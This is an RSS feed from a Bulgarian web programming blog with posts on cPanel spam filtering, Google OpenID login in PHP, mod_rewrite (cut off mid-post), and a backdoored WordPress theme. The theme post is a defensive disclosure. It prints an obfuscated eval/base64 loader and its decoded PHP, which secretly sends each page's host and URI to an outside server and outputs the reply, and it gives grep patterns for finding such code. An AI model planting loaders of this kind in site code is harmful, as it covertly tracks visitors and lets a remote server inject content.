<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SEO блог и уеб програмиране &#187; Сигурност</title>
	<atom:link href="http://ganbox.com/blog/category/%d1%83%d0%b5%d0%b1-%d0%bf%d1%80%d0%be%d0%b3%d1%80%d0%b0%d0%bc%d0%b8%d1%80%d0%b0%d0%bd%d0%b5/%d1%81%d0%b8%d0%b3%d1%83%d1%80%d0%bd%d0%be%d1%81%d1%82-%d1%83%d0%b5%d0%b1-%d0%bf%d1%80%d0%be%d0%b3%d1%80%d0%b0%d0%bc%d0%b8%d1%80%d0%b0%d0%bd%d0%b5/feed/" rel="self" type="application/rss+xml" />
	<link>http://ganbox.com/blog</link>
	<description>SEO практика: трикове при оптимизация и решаване на проблеми при уеб програмиране.</description>
	<lastBuildDate>Tue, 07 Sep 2010 11:38:22 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Блокиране на спам през cPanel</title>
		<link>http://ganbox.com/blog/%d0%b1%d0%bb%d0%be%d0%ba%d0%b8%d1%80%d0%b0%d0%bd%d0%b5-%d0%bd%d0%b0-%d1%81%d0%bf%d0%b0%d0%bc-%d0%bf%d1%80%d0%b5%d0%b7-cpanel/</link>
		<comments>http://ganbox.com/blog/%d0%b1%d0%bb%d0%be%d0%ba%d0%b8%d1%80%d0%b0%d0%bd%d0%b5-%d0%bd%d0%b0-%d1%81%d0%bf%d0%b0%d0%bc-%d0%bf%d1%80%d0%b5%d0%b7-cpanel/#comments</comments>
		<pubDate>Sat, 03 Jul 2010 19:36:15 +0000</pubDate>
		<dc:creator>gan</dc:creator>
				<category><![CDATA[Сигурност]]></category>
		<category><![CDATA[блокиране на спам]]></category>

		<guid isPermaLink="false">http://ganbox.com/blog/?p=954</guid>
		<description><![CDATA[Какво е СПАМ? За мен СПАМ е всяко едно неочаквано имейл съобщение, дори запитване дали може да ми пратят непоискано съобщение Напоследък върлува следния досаден СПАМ със заглавие: &#8222;Въпрос от Бизнес Каталог България&#8220; и текст: Уважаеми Дами и Господа, Бихме желали да поискаме разрешение да ви изпратим непоискано търговско съобщение. Темата му е &#8222;Каталог Медия [...]]]></description>
			<content:encoded><![CDATA[<h3>Какво е СПАМ?</h3>
<p>За мен СПАМ е всяко едно неочаквано имейл съобщение, дори запитване дали може да ми пратят непоискано съобщение <img src='http://ganbox.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Напоследък върлува следния досаден СПАМ със заглавие: &#8222;Въпрос от Бизнес Каталог България&#8220; и текст:</p>
<p><em>Уважаеми Дами и Господа,<br />
Бихме желали да поискаме разрешение да ви изпратим непоискано търговско съобщение.<br />
Темата му е &#8222;Каталог Медия и Реклама 2010&#8243;<br />
Ако искате да го прочетете, можете да посетите този линк &#8230;<br />
Ако не желаете да получавате повече полезна информация от нас, можете да запишете Вашият мейл тук &#8230;<br />
С уважение,<br />
Бизнес Каталог България<br />
02 421 40 44<br />
www.cаtаlogbg.biz</em></p>
<p><em>office@cаtаlogbg.biz</em></p>
<p><em>office@bаzi-dаnni.com</em></p>
<p>Това съобщение се получава по няколко пъти в една пощенска кутия. На пръв поглед това е съвсем културно съобщение, но искам да ти обърна внимание<em>,</em> че подобна опция при която се записваш, че не желаеш да получаваш имейли е много опасна! Това е сигурен начин да покажеш, че този имейл не само е валиден, а се преглежда редовно от човек. След като натрупат солидна база данни с примерно 20 000 имейла, тази компания може да реши тайно да продаде тази база с имейл адреси и тогава наистина ще започнеш да получаваш много съобщения. Подобен сценарий се случва всеки ден по света. Трябва добре да познаваш фирмата, която стои отсреща и да и имаш доверие. Например Google.</p>
<p>Ако искаш да спреш да получаваш подобни имейли във всичките мейл акаунти на твоя сайт и ако използваш хостинг с cPanel, може да направиш това, като блокираш този изпращач да не може да ти изпраща повече имейли. Това се прави лесно.</p>
<h3>Блокиране на СПАМ през cPanel</h3>
<p>Влез в cPanel контролния панел на твоя хостинг, в секцията Mail избери “Account Level Filtering”. Натисни бутона [Create a new Filter]. В първото поле <strong>Filter Name</strong>: въведи някакво име, което да те подсеща за какво е филтъра, например bazidanni. В полето под &#8222;Rules&#8220; в първия падащ списък остави избрано <strong>From</strong>, а във втория избери <strong>contains</strong> и в полето отдолу въведи <strong>bazi-danni.com</strong>. В падащия списък под <strong>Actions</strong> остави избрано <strong>Discard Message</strong>. Натисни бутона [Activate] и ще имаш филтър, който ще унищожава всички имейл съобщения, които съдържат в хедъра си From низа bazi-danni.com. От този момент няма да получаваш повече писма, от пощенски кутии, които завършват на @bazi-danni.com.</p>
<p>По подобен начин може да зададеш друг филтър, като например вместо From избереш Subject и като текст въведеш Viagra. По този начин ще бъдат изтривани автоматично писма с оферти за виагра.</p>
<p>Темата е доста обширна и тук е даден само бърз пример</p>
<div style="float:right;display:block" class="counterViews">Брой разглеждания на тази статия: <b>598</b></div>]]></content:encoded>
			<wfw:commentRss>http://ganbox.com/blog/%d0%b1%d0%bb%d0%be%d0%ba%d0%b8%d1%80%d0%b0%d0%bd%d0%b5-%d0%bd%d0%b0-%d1%81%d0%bf%d0%b0%d0%bc-%d0%bf%d1%80%d0%b5%d0%b7-cpanel/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Логване в сайт с OpenID през Google</title>
		<link>http://ganbox.com/blog/%d0%bb%d0%be%d0%b3%d0%b2%d0%b0%d0%bd%d0%b5-%d0%b2-%d1%81%d0%b0%d0%b9%d1%82-%d1%81-openid-%d0%bf%d1%80%d0%b5%d0%b7-google/</link>
		<comments>http://ganbox.com/blog/%d0%bb%d0%be%d0%b3%d0%b2%d0%b0%d0%bd%d0%b5-%d0%b2-%d1%81%d0%b0%d0%b9%d1%82-%d1%81-openid-%d0%bf%d1%80%d0%b5%d0%b7-google/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 13:08:17 +0000</pubDate>
		<dc:creator>gan</dc:creator>
				<category><![CDATA[Сигурност]]></category>
		<category><![CDATA[Уеб програмиране]]></category>
		<category><![CDATA[OpenID]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[доставчик на OpenID]]></category>
		<category><![CDATA[достъп до много сайтове]]></category>
		<category><![CDATA[една парола]]></category>
		<category><![CDATA[идентификация]]></category>
		<category><![CDATA[логване]]></category>
		<category><![CDATA[оторизиране]]></category>
		<category><![CDATA[сигурност]]></category>
		<category><![CDATA[удостоверяване]]></category>
		<category><![CDATA[урок]]></category>

		<guid isPermaLink="false">http://ganbox.com/blog/?p=710</guid>
		<description><![CDATA[Ограничен достъп и логване с OpenID Някой от страниците на сайта ganbox.com реших да са достъпни само след логване, затова ми се наложи да си направя логин форма, през която потребителите да се логват и да получават достъп. Обикновено една такава система включва в себе си няколко функции: страница за регистриране, страница за логване, страница [...]]]></description>
			<content:encoded><![CDATA[<h3>Ограничен достъп и логване с OpenID</h3>
<p>Някой от страниците на сайта <a href="http://ganbox.com">ganbox.com</a> реших да са достъпни само след логване, затова ми се наложи да си направя логин форма, през която потребителите да се логват и да получават достъп. Обикновено една такава система включва в себе си няколко функции: страница за регистриране, страница за логване, страница за забравена парола, страница за промяна на парола или други лични данни, управление на сесии, база данни с данни за потребителите. Мислих няколко варианта и накрая реших, че без последните две няма как да мина, но нямам време да правя другите страници. Затова избрах решение с OpenID логване.</p>
<h3>Какво е OpenID?</h3>
<p>Съвсем накратко: <strong>с една парола достъп до много сайтове</strong>. Това е метод, който обединява протокол и системи, който ти дава възможност да се регистрираш в един сайт и след това да получаваш достъп до много други сайтове, които поддържат OpenID, само като се логваш в първия сайт.</p>
<h3>Как работи OpenID</h3>
<p>Регистрираш се в един сайт, който е <strong>доставчик на OpenID</strong> и там получаваш данни за достъп до акаунта, които обикновено са комбинация от имейл и парола или потребителско име и парола. От този момент можеш да се логваш във всеки един сайт, който поддържа този доставчик на OpenID.</p>
<p>Някои от сайтовете, като например сайта за споделяне на връзки dao.bg (а и много други подобни сайтове), изискват първо да си създадеш профил в сайта и едва след това може да присъединиш OpenID идентификатор в профила си, за да може да се логваш с OpenID.</p>
<p>Трик за сигурност: След като въведеш OpenID е препоръчително да смениш паролата си в този сайт с някаква невъзможно сложна и дълга парола.Тъй като няма повече да ползваш тази парола, от съображения за <strong>сигурност</strong> е по-добре да не може да бъде налучкана от хакери.</p>
<h3>Предимства на OpenID</h3>
<h4>1. Без измисляне на нови пароли. </h4>
<p>Не е нужно да помниш много пароли, а само една и по-рядко ще ти се случва да забравиш паролата си.</p>
<h4>2. Бърза регистрация. </h4>
<p>В повечето сайтове, в които искаш да влезеш няма да ти се налага да се регистрираш или ако има такава стъпка доста от данните ще бъдат попълнени, защото се изпращат от сайта доставчик на OpenID.</p>
<h4>3. На уеб програмистите спестява време.</h4>
<p>Отпада нуждата от програмиране на няколко уеб страници.</p>
<h4>4. По-висока степен на сигурност.</h4>
<p>Виж по-долу в параграфа Сигурност.</p>
<h3>Недостатъци на OpenID</h3>
<p>Хора които са слабо запознати с интернет технологиите и с OpenID могат да се уплашат, че за вход в твоя сайт трябва да въведат паролата си за Гугъл. Това се случи в ganbox.com, затова в логин страницата поставих блок Информация.</p>
<h3>Сигурност</h3>
<p>Всъщност метода на логване през OpenID е с <strong>висока степен на сигурност</strong>, защото въвеждаш паролата си в страница на Гугъл защитена с SSL и това, което Google изпраща към сайта, в който се логваш се контролира от теб. В случая на ganbox.com това е единствено имейл адреса, като при първото изпращане ти получаваш предупреждение за това и се съгласяваш с това действие.</p>
<p>Трябва да гледаш с добро око на сайтовете, които предлагат OpenID логин. Повечето хора използват една и съща парола за няколко сайта. Ако и ти правиш така, то при използване на OpenID избягваш следния риск (макар и минимален).  При регистриране в нов сайт в момента на въвеждане на паролата е възможно някой от администраторите да получи тази парола в чист текст. След това той може да злоупотреби и ще има достъп до всичките сайтове, в които използваш тази парола. При OpenID нямаш този проблем, защото в новия сайт не се изпраща парола.</p>
<h3>Логване с OpenID в страница на PHP</h3>
<p>В ganbox.com за начало като OpenID доставчик избрах Google, защото почти всеки има поща в gmail.com или ползва друга услуга на Google и има Google акаунт. В последствие може да се добавят още доставчици, като например Facebook и човек ще може да си избира с кой от двата да се логне.</p>
<p>В този урок ще покажа как да си направиш логване в твоя сайт през акаунт на <strong>Гугъл</strong>.</p>
<p>1. Изтегли си библиотеката <a href="http://ganbox.com/blog/wp-content/pub/class.openid.php_.zip">class.openid.php</a>, разархивирай файла и го постави в директория inc, която трябва да е в главната уеб директория.</p>
<p>2. В главната уеб директория създай два файла login.php и return.php</p>
<p>Основния код в login.php, който стартира процес по логване е:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">require_once</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/inc/class.openid.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>user_logged<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; GoogleOpenId<span style="color: #339933;">::</span><span style="color: #004000;">login</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;http://ganbox.com&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;http://ganbox.com/return.php&quot;</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Location: /'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>exit<span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>Функция user_logged() проверява дали потребителя се е логнал.<br />
Последния параметър true на GoogleOpenId::login указва дали твоя сайт ще изиска имейл адрес.<br />
Този ред ще пренасочи браузъра към страница за логване в Google профил (ако вече не си логнат в Гугъл), след като се логнеш първият път ще ти се изведе съобщение, че сайта изисква имейл и трябва да се съгласиш да предоставиш тази информация, след което ще те редиректнат отново към http://ganbox.com/return.php</p>
<p>В return.php основния код е:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">require_once</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/inc/class.openid.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$response</span> <span style="color: #339933;">=</span> GoogleOpenId<span style="color: #339933;">::</span><span style="color: #004000;">getResponse</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'id_res'</span> <span style="color: #339933;">==</span> <span style="color: #000088;">$response</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getMode</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> &nbsp; &nbsp;<span style="color: #666666; font-style: italic;"># успешно логване<br />
</span>&nbsp; &nbsp; <span style="color: #000088;">$email</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$response</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getEmail</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;"># имейл<br />
</span>&nbsp; &nbsp; user_login<span style="color: #009900;">&#40;</span><span style="color: #000088;">$email</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Location:/'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>exit<span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/die"><span style="color: #990000;">die</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Неуспешен вход'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>В този код функцията user_login() се грижи да създаде сесия и да отбележи, че потребителя е логнат. Ако до момента не е имало потребител с подадения имейл, автоматично го регистрира и логва.<br />
Това е всичко по оторизирането на потребителя &#8211; просто и бързо.</p>
<p>След това във всяка страница, в което искам да огранича достъпа викам функция  user_logged(), която проверява дали потребителя е логнат и ако не е логнат или ако сесията е изтекла се пренасочва към страница за логване.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>user_logged<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Location: /login.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>exit<span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>Работещ пример има в сайта ganbox.com, като с ограничен достъп са страниците <a href="/pos">Класиране на сайт</a>, <a href="/seo-status">SEO състояние на сайт</a> и <a href="/resize">Промяна на снимка</a>.<br />
Това е накратко. Ако има интерес и имам време мога да дам пълните кодове. Пишете коментари! <img src='http://ganbox.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div style="float:right;display:block" class="counterViews">Брой разглеждания на тази статия: <b>1717</b></div>]]></content:encoded>
			<wfw:commentRss>http://ganbox.com/blog/%d0%bb%d0%be%d0%b3%d0%b2%d0%b0%d0%bd%d0%b5-%d0%b2-%d1%81%d0%b0%d0%b9%d1%82-%d1%81-openid-%d0%bf%d1%80%d0%b5%d0%b7-google/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Код за шпиониране в WordPress</title>
		<link>http://ganbox.com/blog/%d0%ba%d0%be%d0%b4-%d0%b7%d0%b0-%d1%88%d0%bf%d0%b8%d0%be%d0%bd%d0%b8%d1%80%d0%b0%d0%bd%d0%b5-%d0%b2-wordpress/</link>
		<comments>http://ganbox.com/blog/%d0%ba%d0%be%d0%b4-%d0%b7%d0%b0-%d1%88%d0%bf%d0%b8%d0%be%d0%bd%d0%b8%d1%80%d0%b0%d0%bd%d0%b5-%d0%b2-wordpress/#comments</comments>
		<pubDate>Sun, 16 Aug 2009 12:52:19 +0000</pubDate>
		<dc:creator>gan</dc:creator>
				<category><![CDATA[Сигурност]]></category>
		<category><![CDATA[Уеб програмиране]]></category>
		<category><![CDATA[PHP код]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[парола]]></category>
		<category><![CDATA[плъгин]]></category>
		<category><![CDATA[сигурност]]></category>
		<category><![CDATA[следене]]></category>
		<category><![CDATA[темплейт]]></category>
		<category><![CDATA[шпиониране]]></category>

		<guid isPermaLink="false">http://ganbox.com/blog/?p=256</guid>
		<description><![CDATA[Код за проследяване Пиша тази статия за всички ползващи WordPress, които не обичат да ги следят без тяхно знание. Проблем: Безплатна тема за WordPress с име Red_wave от автор AskGraphics се разпространява свободно на сайта http://wordpresstemplates.name, но открих, че съдържа във файла footer.php следния обфускиран PHP код: &#60;? eval(gzinflate(base64_decode(&#8216;vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+ X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5 K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmYRhdKIUf3JfwEmvQNIrIbkdOpNS Se/o3KiJhSMq1Fk6i5rCV1llGS6mAHub2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqmodSM0h5p4 HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBahOh0EIT7b8A&#8217;))); ?&#62; (Всичко [...]]]></description>
			<content:encoded><![CDATA[<h3>Код за проследяване</h3>
<p>Пиша тази статия за всички ползващи WordPress, които не обичат да ги следят без тяхно знание.</p>
<p><span style="color: #993300;">Проблем:</span></p>
<p>Безплатна тема за WordPress с име Red_wave от автор AskGraphics се разпространява свободно на сайта http://wordpresstemplates.name, но открих, че съдържа във файла footer.php следния <a href="http://rechnik.info/обфускиран" target="_blank">обфускиран</a> PHP код:</p>
<p><span style="color: #993300;">&lt;? eval(gzinflate(base64_decode(&#8216;vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+</span></p>
<p><span style="color: #993300;">X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5</span></p>
<p><span style="color: #993300;">K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmYRhdKIUf3JfwEmvQNIrIbkdOpNS</span></p>
<p><span style="color: #993300;">Se/o3KiJhSMq1Fk6i5rCV1llGS6mAHub2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqmodSM0h5p4</span></p>
<p><span style="color: #993300;">HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBahOh0EIT7b8A&#8217;))); ?&gt;</span></p>
<p>(Всичко това е на един ред).</p>
<p>Което всъщност представлява следния зашифрован PHP код за проследяване:</p>
<pre id="line157"><span style="color: #993300;">error_reporting(0);
$CodeURL = "http://linkdock.com/content.php?id=&amp;<span class="entity">host</span>=".urlencode($_SERVER["HTTP_HOST"])
."&amp;<span class="entity">uri</span>=".urlencode($_SERVER["REQUEST_URI"]);

if ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen")))
&amp;&amp; function_exists("file_get_contents")) {
	echo @file_get_contents($CodeURL);
} elseif ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen")))
&amp;&amp; function_exists("file")) {
	$content = @file($CodeURL);
	echo @join("", $content);
} elseif (function_exists("curl_init")) {
	$ch = curl_init($CodeURL);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_exec($ch);
	curl_close($ch);
}</span></pre>
<p>Както се вижда този скрипт изпраща до сървъра linkdock.com не само името на вашия домейн, а и точната страница, която в момента отваря посетителя.</p>
<h3>Защо го правят?</h3>
<p>С този код получават интернет трафик от различни уникални IP адреси, който се отчита в статистиките на сървъра им. Отчитат се повече посещения и сървъра може да продава рекламите си по-скъпо.<br />
<span style="color: #008000;">Решение:</span></p>
<p>Просто изтрий този ред от файла wp-content/themes/Red_wave/footer.php</p>
<p>В случая скрипта не носи някаква вреда, освен че забавя излишно зареждането на всяка една страница от блога и ако отсрещния сървър е претоварен, това ще доведе до много дълго време за зареждане на твоите страници на блога и дъното на сайта може да се чупи и размества. Ако твоя блог е прекалено често бавен, това няма да се хареса на бота на Google и е възможно твоя сайт да падне в <a href="http://ganbox.com/blog/какво-е-serp/">SERP</a>-а.</p>
<p>Често тази техника се ползва за да може автора на плъгина да вгради връзка към своя сайт, която да не може да бъде лесно открита и изтрита, но е възможно злонамерен сайт да разпространява безплатни темплейти или плъгини за WordPress, които да навредят на сайта, като например да изтрият всички статии.</p>
<h3>Общи съвети за сигурност</h3>
<p>Нека тази статия бъде предупреждение за всеки, който ползва темплейти или плъгини от непроверен източник. Съветвам те след като си свалиш тема или плъгин първо да пуснеш търсене в текста на всички файлове за опасни функции като eval(). Под Linux това става като от конзолата влезеш в директория wp-content и потърсиш с команда:</p>
<pre>grep --include=*.php -r "eval(" *</pre>
<p>Трябва тази команда да не изведе нищо. Ако излезеш една директория нагоре в главната уеб директория и пуснеш командата отново, там ще има няколко резултата, но повод за притеснение има само ако съдържат  base64_decode или gzinflate. Може да провериш това с командата:</p>
<pre>grep --include=*.php -r "eval(" * | grep -e "base64_decode\|gzinflate"</pre>
<p>Ако в eval има кодиран низ, като този по-горе и не знаеш как да го провериш, тогава по-добре не ползвай тази тема или плъгин. Колкото по красиво и професионално изглежда тимплейта, толкова по-силно ще се изкушаваш да го вградиш в твоя блог, но не искаш данните ти да пострадат нали? Знай, че това е възможно и много лесно да се направи.</p>
<p>Друг проблем със сигурността е небрежно написан код, който създава дупка в сигурността без знанието на разработчика на софтуера. Сигурно в 95% от случаите на хакване на сайт се дължат на това. Всеки допълнителен плъгин, който добавяш увеличава вероятността да поставиш дупка в сигурността в твоя сайт, затова не инсталирай плъгини, които не ползваш или такива, които ползваш много рядко.</p>
<p>Старите версии на WordPress имаха дупки в сигурността и вероятно и в бъдеще ще има такива. Много хора си мислят, че като качат най-новата версия на софтуера и така са защитени, но това не винаги е така.</p>
<h3>Правило за обновяване на софтуер</h3>
<p>Ето едно просто правило за обновяване, което важи не само за WordPress, а и за всеки един софтуер: В момента последната версия на WordPress е 2.8.4 и ако излезе нова версия 2.8.x като 2.8.5 или 2.8.6 обикновено запушва дупки в сигурността и поправя бъгове, затова е добре да я инсталираш веднага. Например 2.8.4 поправя дупка в сигурността на версии &lt;=2.8.3, чрез която може да се променя паролата на admin, затова веднага обнови до тази версия.</p>
<p>Но ако излезе версия с нова цифра като 2.9 (или направо 3.0) е много вероятно такава версия да има дупки в сигурността и е по-добре да изчакаш версия 2.9.1 или дори 2.9.2 и чак тогава да обновиш софтуера си. По този начин намаляваш риска значително.</p>
<div style="float:right;display:block" class="counterViews">Брой разглеждания на тази статия: <b>1712</b><br /><span style="color:grey;font-size:0.8em">(след дата 20 декември 2009)</span></div>]]></content:encoded>
			<wfw:commentRss>http://ganbox.com/blog/%d0%ba%d0%be%d0%b4-%d0%b7%d0%b0-%d1%88%d0%bf%d0%b8%d0%be%d0%bd%d0%b8%d1%80%d0%b0%d0%bd%d0%b5-%d0%b2-wordpress/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Приложна магия с mod_rewrite в htaccess</title>
		<link>http://ganbox.com/blog/%d0%bf%d1%80%d0%b8%d0%bb%d0%be%d0%b6%d0%bd%d0%b0-%d0%bc%d0%b0%d0%b3%d0%b8%d1%8f-%d1%81-modrewrite/</link>
		<comments>http://ganbox.com/blog/%d0%bf%d1%80%d0%b8%d0%bb%d0%be%d0%b6%d0%bd%d0%b0-%d0%bc%d0%b0%d0%b3%d0%b8%d1%8f-%d1%81-modrewrite/#comments</comments>
		<pubDate>Wed, 10 Jun 2009 16:30:05 +0000</pubDate>
		<dc:creator>gan</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[Сигурност]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[mod_rewrite]]></category>
		<category><![CDATA[redirect]]></category>
		<category><![CDATA[regular expressions]]></category>
		<category><![CDATA[RewriteRule]]></category>
		<category><![CDATA[seo friendly]]></category>
		<category><![CDATA[достъп до сайт]]></category>
		<category><![CDATA[интернет адреси]]></category>
		<category><![CDATA[ограничаване на достъпа]]></category>
		<category><![CDATA[пренасочване]]></category>
		<category><![CDATA[прокси]]></category>
		<category><![CDATA[регулярни изрази]]></category>
		<category><![CDATA[трикове]]></category>
		<category><![CDATA[хакер]]></category>

		<guid isPermaLink="false">http://ganbox.com/blog/?p=162</guid>
		<description><![CDATA[Пренаписване на интернет адреси с .htaccess Промяната на интернет адреси с mod_rewrite се прави основно по следните seo причини: съкращаване на адресите: адресите стават за индексиране от търсачките (seo friendly) и лесни за ръчно изписване в браузър пренасочване на стари адреси към нови при преименуване на файлове на страници ако има страници, които се достъпват [...]]]></description>
			<content:encoded><![CDATA[<h2>Пренаписване на интернет адреси с .htaccess</h2>
<p>Промяната на интернет адреси с mod_rewrite се прави основно по следните seo причини:</p>
<ul>
<li>съкращаване на адресите: адресите стават за индексиране от търсачките (seo friendly) и лесни за ръчно изписване в браузър</li>
<li>пренасочване на стари адреси към нови при преименуване на файлове на страници</li>
<li>ако има страници, които се достъпват с повече от един адрес се пренасочват излишните адреси</li>
<li>скриване на вида файлове на страниците на сайта</li>
</ul>
<p>Пренасочванията се извършват от правила зададени във файла .htaccess, който трябва да се намира в главната уеб директория.</p>
<p>Правилата използват регулярни изрази (regular expressions) и могат да бъдат много сложни. В тази статия обаче ще разгледам само най-често ползваните правила от SEO специалистите.</p>
<p>За да работи този файл е нужно уеб сървъра да има инсталиран модул mod_rewrite и в конфигурационния файл /etc/httpd/conf/httpd.conf  трябва да е зададена опцията <strong>AllowOverride All</strong></p>
<p>На повечето съвременни хостинг сървъри тези опции са включени по подразбиране, ако това не е така ще трябва да се свържеш със системния администратор на хостинга.</p>
<h3>Проверка дали mod_rewrite работи<strong><br />
</strong></h3>
<p>Постави следните редове в .htaccess файла и опитай да отвориш адреса http://domain.com/test  където domain.com е името на твоя сайт. Ако се отвори сайта ganbox.com това значи всичко е наред и mod_rewrite работи.</p>
<blockquote>
<pre>Options +FollowSymLinks</pre>
<pre>RewriteEngine On
RewriteBase /</pre>
<pre>RewriteRule test http://ganbox.com/? [NC,R,L]</pre>
</blockquote>
<p>Обикновено файла .htaccess започва със следните няколко реда. За краткост ще бъдат пропускани в примерите долу.</p>
<blockquote>
<pre>Options +FollowSymLinks -Indexes -MultiViews
RewriteEngine On
RewriteBase /</pre>
</blockquote>
<h3>Просто пренасочване на преименувана страница</h3>
<p>Ако страница /about.html е преименувана на /contact.php</p>
<blockquote>
<pre>redirect 301 /about.html /contact.php</pre>
</blockquote>
<p>аналогично</p>
<blockquote>
<pre>RewriteRule ^about\.html$ /contact.php [R=permanent,L]</pre>
</blockquote>
<p>[L]  казва, че това е последното правило, което трябва да се обработи.</p>
<h3>Скриване на вида файлове</h3>
<p>Всеки адрес от вида domain.com/страница, като страница може да съдържа малки или главни букви, цифри и знаците &#8222;-&#8220; и &#8222;_&#8220;.</p>
<blockquote>
